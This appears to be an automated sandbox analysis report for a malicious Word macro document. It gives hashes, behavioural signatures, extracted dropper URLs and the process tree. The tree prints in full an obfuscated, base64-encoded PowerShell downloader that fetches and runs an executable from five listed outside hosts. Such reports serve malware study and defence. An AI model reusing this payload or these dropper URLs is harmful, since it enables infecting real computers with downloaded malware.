Overview

overview

10

Static

static

8

SecuriteIn...29.doc

windows7_x64

10

SecuriteIn...29.doc

windows10_x64

1

Analysis

  • max time kernel
    113s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12288.27237.7429.doc

  • Size

    170KB

  • MD5

    2fb02ab60274d396a7c01d5917ff21ec

  • SHA1

    cc78cb81517d7b18434964dd029efb6e06857e96

  • SHA256

    e547fe2a6107ee0731916d3a03179c18b54bf227ea86eed3cadf25fd0df77901

  • SHA512

    f00a3c380c7e23d546aee05f528aae402c0102de1988da4436616be7cd0ed1ba3e499b78c77dbfe628d544aa45c6426775d8442ca4816dcafdda52b2cf03030a

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://iclebyte.com/uPD6c443/
exe.dropper

http://iberfoods.com/site/UHaa7627/
exe.dropper

http://yumiwong.com/img/Hct998/
exe.dropper

http://www.ymdc786.com/connectors/0u9462/
exe.dropper

https://yusufpaintings.com/cgi-bin/symNCd/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 6 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12288.27237.7429.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPAE8AVgBBAEsAZQB5AHAAPQAnAFoAVgBVAEEARwBnAHEAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAFIASQBUAHkAYABwAHIAYABvAHQAbwBDAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFAASQBXAFoATQB6AHMAcQAgAD0AIAAnADMAMgAwACcAOwAkAFoAUQBIAEQAWABkAGYAcAA9ACcATQBUAEsARwBUAGMAZQBzACcAOwAkAFEASQBaAFkATgBhAHEAbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABJAFcAWgBNAHoAcwBxACsAJwAuAGUAeABlACcAOwAkAFAAWABVAEEAWQB2AHIAcQA9ACcAUABCAFEASgBNAHIAZgBxACcAOwAkAFUARQBDAEEATgB4AHEAcgA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAATgBFAHQALgB3AGUAQgBDAGwASQBFAE4AdAA7ACQAWQBFAEkAVQBLAGYAdgB5AD0AJwBoAHQAdABwADoALwAvAGkAYwBsAGUAYgB5AHQAZQAuAGMAbwBtAC8AdQBQAEQANgBjADQANAAzAC8AKgBoAHQAdABwADoALwAvAGkAYgBlAHIAZgBvAG8AZABzAC4AYwBvAG0ALwBzAGkAdABlAC8AVQBIAGEAYQA3ADYAMgA3AC8AKgBoAHQAdABwADoALwAvAHkAdQBtAGkAdwBvAG4AZwAuAGMAbwBtAC8AaQBtAGcALwBIAGMAdAA5ADkAOAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHkAbQBkAGMANwA4ADYALgBjAG8AbQAvAGMAbwBuAG4AZQBjAHQAbwByAHMALwAwAHUAOQA0ADYAMgAvACoAaAB0AHQAcABzADoALwAvAHkAdQBzAHUAZgBwAGEAaQBuAHQAaQBuAGcAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHMAeQBtAE4AQwBkAC8AJwAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAEwAWABYAEUAcAB2AGMAPQAnAE8AUABBAFgAQwBuAGUAawAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBGAEoAWQBLAGMAdABoACAAaQBuACAAJABZAEUASQBVAEsAZgB2AHkAKQB7AHQAcgB5AHsAJABVAEUAQwBBAE4AeABxAHIALgAiAEQAbwBgAFcATgBMAG8AQQBgAEQAZgBpAGAAbABlACIAKAAkAE0ARgBKAFkASwBjAHQAaAAsACAAJABRAEkAWgBZAE4AYQBxAG0AKQA7ACQAUwBaAFMATQBNAGcAdgBxAD0AJwBNAEMARwBUAEIAZAB0AHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAEkAWgBZAE4AYQBxAG0AKQAuACIATABgAEUATgBnAFQASAAiACAALQBnAGUAIAAyADUAOAAzADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAcgBFAGEAYABUAEUAIgAoACQAUQBJAFoAWQBOAGEAcQBtACkAOwAkAFMAVABGAEUAVgBqAGMAYgA9ACcAUwBaAEMARQBDAGcAbQBxACcAOwBiAHIAZQBhAGsAOwAkAFYAWQBSAEIATwBiAGoAYQA9ACcAVQBOAFgARQBFAGcAcQByACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AVgBXAEMASgBlAG8AeAA9ACcASgBYAEUATQBPAG0AYwBjACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1052

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1060-2-0x00000000089A0000-0x00000000089A4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1060-5-0x000000000A9F0000-0x000000000A9F4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1060-6-0x000000000BA70000-0x000000000BA74000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1060-7-0x0000000006D20000-0x0000000006F20000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1060-8-0x0000000006D20000-0x0000000006F20000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1060-9-0x0000000002020000-0x0000000002021000-memory.dmp
    Filesize

    4KB

    Download